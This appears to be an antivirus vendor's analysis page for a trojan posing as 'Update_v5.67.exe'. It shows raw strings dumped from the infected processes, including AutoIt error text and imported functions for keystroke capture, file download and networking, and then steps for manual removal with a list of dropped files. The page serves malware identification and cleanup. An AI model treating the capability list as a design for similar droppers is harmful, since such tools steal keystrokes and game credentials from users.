%d/d/d
c:\%original file name%.exe
C:\%original file name%.exe
AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.
Missing operator in expression."Unbalanced brackets in expression.
Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.
*Unable to get a list of running processes.*Missing separator character after keyword.
Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.
Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.
Badly formated Enum statement!Badly formated variable or macro.3This keyword cannot be used after a "Then" keyword.
>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.
HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.

%original file name%.exe_1760_rwx_00401000_000AA000:

%f;)s
s%j.Zf
tGHt.Ht&
ItCP
tCPh
SSSSh
Cv=kAv.SCvs
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
uxtheme.dll
kernel32.dll
APPSKEY
ASC 0%d
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \U, or \u
support for \P, \p, and \X has not been compiled
(*VERB) with an argument is not supported
ICMP.DLL
zcÁ
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
GetCPInfo
GetConsoleOutputCP
RegDeleteKeyW
RegCreateKeyExW
RegEnumKeyExW
RegCloseKey
RegOpenKeyExW
SetViewportOrgEx
ShellExecuteExW
SHFileOperationW
ShellExecuteW
RegisterHotKey
GetKeyboardLayoutNameW
UnregisterHotKey
ExitWindowsEx
EnumThreadWindows
GetAsyncKeyState
SetKeyboardState
GetKeyboardState
GetKeyState
keybd_event
VkKeyScanA
GetKeyboardLayoutNameA
EnumWindows
EnumChildWindows
MapVirtualKeyW
CloseWindowStation
SetProcessWindowStation
OpenWindowStationW
InternetOpenUrlW
FtpOpenFileW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpGetFileSize
InternetCrackUrlW
.text
`.rdata
@.data
.rsrc
S.nBr
=TGm
mscoree.dll
KERNEL32.DLL
CMDLINERAW
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
FTPSETPROXY
GUICTRLRECVMSG
GUICTRLSENDMSG
GUIGETMSG
GUIREGISTERMSG
HOTKEYSET
HTTPSETPROXY
ISKEYWORD
MSGBOX
REGENUMKEY
SHELLEXECUTE
SHELLEXECUTEWAIT
TCPACCEPT
TCPCLOSESOCKET
TCPCONNECT
TCPLISTEN
TCPNAMETOIP
TCPRECV
TCPSEND
TCPSHUTDOWN
TCPSTARTUP
TRAYGETMSG
UDPBIND
UDPCLOSESOCKET
UDPOPEN
UDPRECV
UDPSEND
UDPSHUTDOWN
UDPSTARTUP
URLDOWNLOADTOFILE
%s (%d) : ==> %s:
\??\%s
GUI_RUNDEFMSG
FtpBinaryMode
SendKeyDelay
SendKeyDownDelay
TCPTimeout
AUTOITCALLVARIABLE%d
Keyword
AutoIt.Error
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
HOTKEYPRESSED
AUTOITEXE
WINDOWSDIR
SOFTWARE\Microsoft\Windows\CurrentVersion
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
3, 3, 0, 0
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
c:\%original file name%.exe
C:\%original file name%.exe
AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.
Missing operator in expression."Unbalanced brackets in expression.
Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.
*Unable to get a list of running processes.*Missing separator character after keyword.
Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.
Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.
Badly formated Enum statement!Badly formated variable or macro.3This keyword cannot be used after a "Then" keyword.
>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.
HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.

Update_v5.67.exe_3196:

.text
`.data
.idata
@.rsrc
shlwapi.dll
%s %s %s
GETPASSWORD1
sfxcmd
__tmp_rar_sfx_access_check_%u
-el -s2 "-d%s" "-p%s" "-sp%s"
%s.%d.tmp
Software\Microsoft\Windows\CurrentVersion
%s%s%d
<head><meta http-equiv="content-type" content="text/html; charset=
riched32.dll
riched20.dll
COMCTL32.DLL
%.*s(%d)%s
rtmp%d
C:\Update_v5.67.exe
ADVAPI32.DLL
KERNEL32.DLL
COMDLG32.DLL
GDI32.DLL
SHELL32.DLL
USER32.DLL
OLE32.DLL
RegCloseKey
RegCreateKeyExA
RegOpenKeyExA
GetCPInfo
GetProcessHeap
SHFileOperationA
ShellExecuteExA
:(,4;<=>;?@
3,45657879
8888888888887
version="1.0.0.0"
<requestedExecutionLevel level="asInvoker"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
Shell.Explorer
Enter password
&Enter password for the encrypted file:
Extracting %s
Skipping %s
The file "%s" header is corrupt%The archive comment header is corrupt
Unknown method in %s
Cannot open %s
Cannot create %s
Cannot create folder %s6CRC failed in the encrypted file %s (wrong password ?)
CRC failed in %s
Packed data CRC failed in %s
Wrong password for %s5Write error in the file %s. Probably the disk is full
Read error in the file %s
Extracting from %s
ErroraErrors encountered while performing the operation
Please close all applications, reboot Windows and restart this installation\Some installation files are corrupt.


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    rundll32.exe:2592
    Update_v5.67.exe:3196

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_newaccount_up.bmp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\filesrd_2015[1].txt (38 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VAPF0F5P.txt (115 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_quit_up.bmp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFE.tmp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DCE3BDBF5BDD86E2AB5B471CB90709B4_A7704BF276C97AA4D70879F611AA7DB9 (4268 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\metin2start.bmp (6761 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD87B.tmp (51 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\fTmIQU3LxvB[1].htm (3878 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD86B.tmp (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7D10.tmp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\fTmIQU3LxvB[2].htm (4766 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD87C.tmp (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\filesrw_2015[1].txt (52 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\Update_v5[1].67 (4377261 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DCE3BDBF5BDD86E2AB5B471CB90709B4_A7704BF276C97AA4D70879F611AA7DB9 (1413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\LVx-xkvaJ0b[1].png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFC.tmp (392 bytes)
    C:\filesrw_2015.txt (52 bytes)
    C:\Update_v5.67.exe (1166752 bytes)
    C:\filesrd_2015.txt (38 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (3834 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CEC.tmp (1857 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\snowstorm[1].js (8154 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD86A.tmp (51 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\index2[1].htm (1191 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\like[1].htm (8174 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFD.tmp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_startgame_up.bmp (588 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_settings_up.bmp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\on[1].png (626 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (1413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFF.tmp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\sdk[1].js (100760 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\back19[1].jpg (11769 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_idpwd_up.bmp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\HFF2F6ER\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\6ZDFKEVH\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\UP31RB6J\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\9XT73B7S\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  5. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2025 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now